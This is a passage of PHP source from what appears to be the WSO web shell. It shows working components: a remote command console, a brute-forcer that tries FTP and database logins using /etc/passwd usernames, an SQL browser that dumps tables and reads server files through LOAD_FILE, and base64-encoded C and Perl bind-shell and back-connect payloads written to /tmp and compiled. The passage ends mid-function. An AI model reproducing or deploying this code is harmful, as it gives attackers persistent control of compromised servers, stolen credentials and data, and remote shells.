  1919.             echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1920.  
  1921.             continue;
  1922.  
  1923.         }
  1924.  
  1925.         echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1926.  
  1927.     }
  1928.  
  1929.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1930.  
  1931.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1932.  
  1933.     echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1934.  
  1935.     if(!empty($_POST['p1'])) {
  1936.  
  1937.         echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
  1938.  
  1939.     }
  1940.  
  1941.     echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
  1942.  
  1943.     echo '</form></div><script>document.cf.cmd.focus();</script>';
  1944.  
  1945.     printFooter();
  1946.  
  1947. }
  1948.  
  1949.  
  1950. function actionLogout() {
  1951.  
  1952.     unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  1953.  
  1954.     echo 'bye!';
  1955.  
  1956. }
  1957.  
  1958.  
  1959. function actionSelfRemove() {
  1960.  
  1961.     printHeader();
  1962.  
  1963.     if($_POST['p1'] == 'yes') {
  1964.  
  1965.         if(@unlink(SELF_PATH))
  1966.  
  1967.             die('Shell has been removed');
  1968.  
  1969.         else
  1970.  
  1971.             echo 'unlink error!';
  1972.  
  1973.     }
  1974.  
  1975.     echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1976.  
  1977.     printFooter();
  1978.  
  1979. }
  1980.  
  1981.  
  1982. function actionBruteforce() {
  1983.  
  1984.     printHeader();
  1985.  
  1986.     if( isset($_POST['proto']) ) {
  1987.  
  1988.         echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1989.  
  1990.         if( $_POST['proto'] == 'ftp' ) {
  1991.  
  1992.             function bruteForce($ip,$port,$login,$pass) {
  1993.  
  1994.                 $fp = @ftp_connect($ip, $port?$port:21);
  1995.  
  1996.                 if(!$fp) return false;
  1997.  
  1998.                 $res = @ftp_login($fp, $login, $pass);
  1999.  
  2000.                 @ftp_close($fp);
  2001.  
  2002.                 return $res;
  2003.  
  2004.             }
  2005.  
  2006.         } elseif( $_POST['proto'] == 'mysql' ) {
  2007.  
  2008.             function bruteForce($ip,$port,$login,$pass) {
  2009.  
  2010.                 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  2011.  
  2012.                 @mysql_close($res);
  2013.  
  2014.                 return $res;
  2015.  
  2016.             }
  2017.  
  2018.         } elseif( $_POST['proto'] == 'pgsql' ) {
  2019.  
  2020.             function bruteForce($ip,$port,$login,$pass) {
  2021.  
  2022.                 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
  2023.  
  2024.                 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
  2025.  
  2026.                 @pg_close($res);
  2027.  
  2028.                 return $res;
  2029.  
  2030.             }
  2031.  
  2032.         }
  2033.  
  2034.         $success = 0;
  2035.  
  2036.         $attempts = 0;
  2037.  
  2038.         $server = explode(":", $_POST['server']);
  2039.  
  2040.         if($_POST['type'] == 1) {
  2041.  
  2042.             $temp = @file('/etc/passwd');
  2043.  
  2044.             if( is_array($temp) )
  2045.  
  2046.                 foreach($temp as $line) {
  2047.  
  2048.                     $line = explode(":", $line);
  2049.  
  2050.                     ++$attempts;
  2051.  
  2052.                     if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  2053.  
  2054.                         $success++;
  2055.  
  2056.                         echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  2057.  
  2058.                     }
  2059.  
  2060.                     if(@$_POST['reverse']) {
  2061.  
  2062.                         $tmp = "";
  2063.  
  2064.                         for($i=strlen($line[0])-1; $i>=0; --$i)
  2065.  
  2066.                             $tmp .= $line[0][$i];
  2067.  
  2068.                         ++$attempts;
  2069.  
  2070.                         if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  2071.  
  2072.                             $success++;
  2073.  
  2074.                             echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  2075.  
  2076.                         }
  2077.  
  2078.                     }
  2079.  
  2080.                 }
  2081.  
  2082.         } elseif($_POST['type'] == 2) {
  2083.  
  2084.             $temp = @file($_POST['dict']);
  2085.  
  2086.             if( is_array($temp) )
  2087.  
  2088.                 foreach($temp as $line) {
  2089.  
  2090.                     $line = trim($line);
  2091.  
  2092.                     ++$attempts;
  2093.  
  2094.                     if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  2095.  
  2096.                         $success++;
  2097.  
  2098.                         echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  2099.  
  2100.                     }
  2101.  
  2102.                 }
  2103.  
  2104.         }
  2105.  
  2106.         echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  2107.  
  2108.     }
  2109.  
  2110.     echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  2111.  
  2112.         .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  2113.  
  2114.         .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  2115.  
  2116.         .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  2117.  
  2118.         .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  2119.  
  2120.         .'<span>Server:port</span></td>'
  2121.  
  2122.         .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  2123.  
  2124.         .'<tr><td><span>Brute type</span></td>'
  2125.  
  2126.         .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  2127.  
  2128.         .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  2129.  
  2130.         .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  2131.  
  2132.         .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  2133.  
  2134.         .'<td><input type=text name=login value="komsen"></td></tr>'
  2135.  
  2136.         .'<tr><td><span>Dictionary</span></td>'
  2137.  
  2138.         .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  2139.  
  2140.         .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  2141.  
  2142.     echo '</div><br>';
  2143.  
  2144.     printFooter();
  2145.  
  2146. }
  2147.  
  2148.  
  2149. function actionSql() {
  2150.  
  2151.     class DbClass {
  2152.  
  2153.         var $type;
  2154.  
  2155.         var $link;
  2156.  
  2157.         var $res;
  2158.  
  2159.         function DbClass($type)    {
  2160.  
  2161.             $this->type = $type;
  2162.  
  2163.         }
  2164.  
  2165.         function connect($host, $user, $pass, $dbname){
  2166.  
  2167.             switch($this->type)    {
  2168.  
  2169.                 case 'mysql':
  2170.  
  2171.                     if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  2172.  
  2173.                     break;
  2174.  
  2175.                 case 'pgsql':
  2176.  
  2177.                     $host = explode(':', $host);
  2178.  
  2179.                     if(!$host[1]) $host[1]=5432;
  2180.  
  2181.                     if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  2182.  
  2183.                     break;
  2184.  
  2185.             }
  2186.  
  2187.             return false;
  2188.  
  2189.         }
  2190.  
  2191.         function selectdb($db) {
  2192.  
  2193.             switch($this->type)    {
  2194.  
  2195.                 case 'mysql':
  2196.  
  2197.                     if (@mysql_select_db($db))return true;
  2198.  
  2199.                     break;
  2200.  
  2201.             }
  2202.  
  2203.             return false;
  2204.  
  2205.         }
  2206.  
  2207.         function query($str) {
  2208.  
  2209.             switch($this->type) {
  2210.  
  2211.                 case 'mysql':
  2212.  
  2213.                     return $this->res = @mysql_query($str);
  2214.  
  2215.                     break;
  2216.  
  2217.                 case 'pgsql':
  2218.  
  2219.                     return $this->res = @pg_query($this->link,$str);
  2220.  
  2221.                     break;
  2222.  
  2223.             }
  2224.  
  2225.             return false;
  2226.  
  2227.         }
  2228.  
  2229.         function fetch() {
  2230.  
  2231.             $res = func_num_args()?func_get_arg(0):$this->res;
  2232.  
  2233.             switch($this->type)    {
  2234.  
  2235.                 case 'mysql':
  2236.  
  2237.                     return @mysql_fetch_assoc($res);
  2238.  
  2239.                     break;
  2240.  
  2241.                 case 'pgsql':
  2242.  
  2243.                     return @pg_fetch_assoc($res);
  2244.  
  2245.                     break;
  2246.  
  2247.             }
  2248.  
  2249.             return false;
  2250.  
  2251.         }
  2252.  
  2253.         function listDbs() {
  2254.  
  2255.             switch($this->type)    {
  2256.  
  2257.                 case 'mysql':
  2258.  
  2259.                     return $this->res = @mysql_list_dbs($this->link);
  2260.  
  2261.                 break;
  2262.  
  2263.                 case 'pgsql':
  2264.  
  2265.                     return $this->res = $this->query("SELECT datname FROM pg_database");
  2266.  
  2267.                 break;
  2268.  
  2269.             }
  2270.  
  2271.             return false;
  2272.  
  2273.         }
  2274.  
  2275.         function listTables() {
  2276.  
  2277.             switch($this->type)    {
  2278.  
  2279.                 case 'mysql':
  2280.  
  2281.                     return $this->res = $this->query('SHOW TABLES');
  2282.  
  2283.                 break;
  2284.  
  2285.                 case 'pgsql':
  2286.  
  2287.                     return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
  2288.  
  2289.                 break;
  2290.  
  2291.             }
  2292.  
  2293.             return false;
  2294.  
  2295.         }
  2296.  
  2297.         function error() {
  2298.  
  2299.             switch($this->type)    {
  2300.  
  2301.                 case 'mysql':
  2302.  
  2303.                     return @mysql_error($this->link);
  2304.  
  2305.                 break;
  2306.  
  2307.                 case 'pgsql':
  2308.  
  2309.                     return @pg_last_error($this->link);
  2310.  
  2311.                 break;
  2312.  
  2313.             }
  2314.  
  2315.             return false;
  2316.  
  2317.         }
  2318.  
  2319.         function setCharset($str) {
  2320.  
  2321.             switch($this->type)    {
  2322.  
  2323.                 case 'mysql':
  2324.  
  2325.                     if(function_exists('mysql_set_charset'))
  2326.  
  2327.                         return @mysql_set_charset($str, $this->link);
  2328.  
  2329.                     else
  2330.  
  2331.                         $this->query('SET CHARSET '.$str);
  2332.  
  2333.                     break;
  2334.  
  2335.                 case 'mysql':
  2336.  
  2337.                     return @pg_set_client_encoding($this->link, $str);
  2338.  
  2339.                     break;
  2340.  
  2341.             }
  2342.  
  2343.             return false;
  2344.  
  2345.         }
  2346.  
  2347.         function dump($table) {
  2348.  
  2349.             switch($this->type)    {
  2350.  
  2351.                 case 'mysql':
  2352.  
  2353.                     $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  2354.  
  2355.                     $create = mysql_fetch_array($res);
  2356.  
  2357.                     echo $create[1].";\n\n";
  2358.  
  2359.                     $this->query('SELECT * FROM `'.$table.'`');
  2360.  
  2361.                     while($item = $this->fetch()) {
  2362.  
  2363.                         $columns = array();
  2364.  
  2365.                         foreach($item as $k=>$v) {
  2366.  
  2367.                             $item[$k] = "'".@mysql_real_escape_string($v)."'";
  2368.  
  2369.                             $columns[] = "`".$k."`";
  2370.  
  2371.                         }
  2372.  
  2373.                     echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  2374.  
  2375.                     }
  2376.  
  2377.                 break;
  2378.  
  2379.                 case 'pgsql':
  2380.  
  2381.                     $this->query('SELECT * FROM '.$table);
  2382.  
  2383.                     while($item = $this->fetch()) {
  2384.  
  2385.                         $columns = array();
  2386.  
  2387.                         foreach($item as $k=>$v) {
  2388.  
  2389.                             $item[$k] = "'".addslashes($v)."'";
  2390.  
  2391.                             $columns[] = $k;
  2392.  
  2393.                         }
  2394.  
  2395.                     echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  2396.  
  2397.                     }
  2398.  
  2399.                 break;
  2400.  
  2401.             }
  2402.  
  2403.             return false;
  2404.  
  2405.         }
  2406.  
  2407.     };
  2408.  
  2409.     $db = new DbClass($_POST['type']);
  2410.  
  2411.     if(@$_POST['p2']=='download') {
  2412.  
  2413.         ob_start("ob_gzhandler", 4096);
  2414.  
  2415.         $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  2416.  
  2417.         $db->selectdb($_POST['sql_base']);
  2418.  
  2419.         header("Content-Disposition: attachment; filename=dump.sql");
  2420.  
  2421.         header("Content-Type: text/plain");
  2422.  
  2423.         foreach($_POST['tbl'] as $v)
  2424.  
  2425.                 $db->dump($v);
  2426.  
  2427.         exit;
  2428.  
  2429.     }
  2430.  
  2431.     printHeader();
  2432.  
  2433.     ?>
  2434.  
  2435.     <h1>Sql browser</h1><div class=content>
  2436.  
  2437.     <form name="sf" method="post">
  2438.  
  2439.         <table cellpadding="2" cellspacing="0">
  2440.  
  2441.             <tr>
  2442.  
  2443.                 <td>Type</td>
  2444.  
  2445.                 <td>Host</td>
  2446.  
  2447.                 <td>Login</td>
  2448.  
  2449.                 <td>Password</td>
  2450.  
  2451.                 <td>Database</td>
  2452.  
  2453.                 <td></td>
  2454.  
  2455.             </tr>
  2456.  
  2457.             <tr>
  2458.  
  2459.                 <input type=hidden name=a value=Sql>
  2460.  
  2461.                 <input type=hidden name=p1 value='query'>
  2462.  
  2463.                 <input type=hidden name=p2>
  2464.  
  2465.                 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'>
  2466.  
  2467.                 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  2468.  
  2469.                 <td>
  2470.  
  2471.                     <select name='type'>
  2472.  
  2473.                         <option value="mysql" <?php if(@$_POST['type']=='mysql')echo 'selected';?>>MySql</option>
  2474.  
  2475.                         <option value="pgsql" <?php if(@$_POST['type']=='pgsql')echo 'selected';?>>PostgreSql</option>
  2476.  
  2477.                     </select></td>
  2478.  
  2479.                 <td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
  2480.  
  2481.                 <td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
  2482.  
  2483.                 <td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>
  2484.  
  2485.                 <td>
  2486.  
  2487.     <?php
  2488.  
  2489.     $tmp = "<input type=text name=sql_base value=''>";
  2490.  
  2491.     if(isset($_POST['sql_host'])){
  2492.  
  2493.         if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  2494.  
  2495.             switch($_POST['charset']) {
  2496.  
  2497.                 case "Windows-1251": $db->setCharset('cp1251'); break;
  2498.  
  2499.                 case "UTF-8": $db->setCharset('utf8'); break;
  2500.  
  2501.                 case "KOI8-R": $db->setCharset('koi8r'); break;
  2502.  
  2503.                 case "KOI8-U": $db->setCharset('koi8u'); break;
  2504.  
  2505.                 case "cp866": $db->setCharset('cp866'); break;
  2506.  
  2507.             }
  2508.  
  2509.             $db->listDbs();
  2510.  
  2511.             echo "<select name=sql_base><option value=''></option>";
  2512.  
  2513.             while($item = $db->fetch()) {
  2514.  
  2515.                 list($key, $value) = each($item);
  2516.  
  2517.                 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  2518.  
  2519.             }
  2520.  
  2521.             echo '</select>';
  2522.  
  2523.         }
  2524.  
  2525.         else echo $tmp;
  2526.  
  2527.     }else
  2528.  
  2529.         echo $tmp;
  2530.  
  2531.     ?></td>
  2532.  
  2533.                 <td><input type=submit value=">>"></td>
  2534.  
  2535.             </tr>
  2536.  
  2537.         </table>
  2538.  
  2539.         <script>
  2540.  
  2541.             function st(t,l) {
  2542.  
  2543.                 document.sf.p1.value = 'select';
  2544.  
  2545.                 document.sf.p2.value = t;
  2546.  
  2547.                 if(l!=null)document.sf.p3.value = l;
  2548.  
  2549.                 document.sf.submit();
  2550.  
  2551.             }
  2552.  
  2553.             function is() {
  2554.  
  2555.                 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
  2556.  
  2557.                     document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
  2558.  
  2559.             }
  2560.  
  2561.         </script>
  2562.  
  2563.     <?php
  2564.  
  2565.     if(isset($db) && $db->link){
  2566.  
  2567.         echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  2568.  
  2569.             if(!empty($_POST['sql_base'])){
  2570.  
  2571.                 $db->selectdb($_POST['sql_base']);
  2572.  
  2573.                 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
  2574.  
  2575.                 $tbls_res = $db->listTables();
  2576.  
  2577.                 while($item = $db->fetch($tbls_res)) {
  2578.  
  2579.                     list($key, $value) = each($item);
  2580.  
  2581.                     $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  2582.  
  2583.                     $value = htmlspecialchars($value);
  2584.  
  2585.                     echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
  2586.  
  2587.                 }
  2588.  
  2589.                 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
  2590.  
  2591.                 if(@$_POST['p1'] == 'select') {
  2592.  
  2593.                     $_POST['p1'] = 'query';
  2594.  
  2595.                     $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
  2596.  
  2597.                     $num = $db->fetch();
  2598.  
  2599.                     $num = $num['n'];
  2600.  
  2601.                     echo "<span>".$_POST['p2']."</span> ($num) ";
  2602.  
  2603.                     for($i=0;$i<($num/30);$i++)
  2604.  
  2605.                         if($i != (int)$_POST['p3'])
  2606.  
  2607.                             echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
  2608.  
  2609.                         else
  2610.  
  2611.                             echo ($i+1)," ";
  2612.  
  2613.                     if($_POST['type']=='pgsql')
  2614.  
  2615.                         $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  2616.  
  2617.                     else
  2618.  
  2619.                         $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  2620.  
  2621.                     echo "<br><br>";
  2622.  
  2623.                 }
  2624.  
  2625.                 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
  2626.  
  2627.                     $db->query(@$_POST['p3']);
  2628.  
  2629.                     if($db->res !== false) {
  2630.  
  2631.                         $title = false;
  2632.  
  2633.                         echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
  2634.  
  2635.                         $line = 1;
  2636.  
  2637.                         while($item = $db->fetch())    {
  2638.  
  2639.                             if(!$title)    {
  2640.  
  2641.                                 echo '<tr>';
  2642.  
  2643.                                 foreach($item as $key => $value)
  2644.  
  2645.                                     echo '<th>'.$key.'</th>';
  2646.  
  2647.                                 reset($item);
  2648.  
  2649.                                 $title=true;
  2650.  
  2651.                                 echo '</tr><tr>';
  2652.  
  2653.                                 $line = 2;
  2654.  
  2655.                             }
  2656.  
  2657.                             echo '<tr class="l'.$line.'">';
  2658.  
  2659.                             $line = $line==1?2:1;
  2660.  
  2661.                             foreach($item as $key => $value) {
  2662.  
  2663.                                 if($value == null)
  2664.  
  2665.                                     echo '<td><i>null</i></td>';
  2666.  
  2667.                                 else
  2668.  
  2669.                                     echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  2670.  
  2671.                             }
  2672.  
  2673.                             echo '</tr>';
  2674.  
  2675.                         }
  2676.  
  2677.                         echo '</table>';
  2678.  
  2679.                     } else {
  2680.  
  2681.                         echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  2682.  
  2683.                     }
  2684.  
  2685.                 }
  2686.  
  2687.                 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
  2688.  
  2689.                 echo "</td></tr>";
  2690.  
  2691.             }
  2692.  
  2693.             echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  2694.  
  2695.             if(@$_POST['p1'] == 'loadfile') {
  2696.  
  2697.                 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
  2698.  
  2699.                 $file = $db->fetch();
  2700.  
  2701.                 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  2702.  
  2703.             }
  2704.  
  2705.     }
  2706.  
  2707.     echo '</div>';
  2708.  
  2709.     printFooter();
  2710.  
  2711. }
  2712.  
  2713. function actionNetwork() {
  2714.  
  2715.     printHeader();
  2716.  
  2717.     $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  2718.  
  2719.     $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  2720.  
  2721.     $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  2722.  
  2723.     $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  2724.  
  2725.     ?>
  2726.  
  2727.     <h1>Network tools</h1><div class=content>
  2728.  
  2729.     <form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
  2730.  
  2731.     <span>Bind port to /bin/sh</span><br/>
  2732.  
  2733.     Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>">
  2734.  
  2735.     </form>
  2736.  
  2737.     <form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
  2738.  
  2739.     <span>Back-connect to</span><br/>
  2740.  
  2741.     Server: <input type='text' name='server' value='<?=$_SERVER['REMOTE_ADDR']?>'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>">
  2742.  
  2743.     </form><br>
  2744.  
  2745.     <?php
  2746.  
  2747.     if(isset($_POST['p1'])) {
  2748.  
  2749.         function cf($f,$t) {
  2750.  
  2751.             $w=@fopen($f,"w") or @function_exists('file_put_contents');
  2752.  
  2753.             if($w)    {
  2754.  
  2755.                 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
  2756.  
  2757.                 @fclose($w);
  2758.  
  2759.             }
  2760.  
  2761.         }
  2762.  
  2763.         if($_POST['p1'] == 'bpc') {
  2764.  
  2765.             cf("/tmp/bp.c",$bind_port_c);
  2766.  
  2767.             $out = ex("gcc -o /tmp/bp /tmp/bp.c");
  2768.  
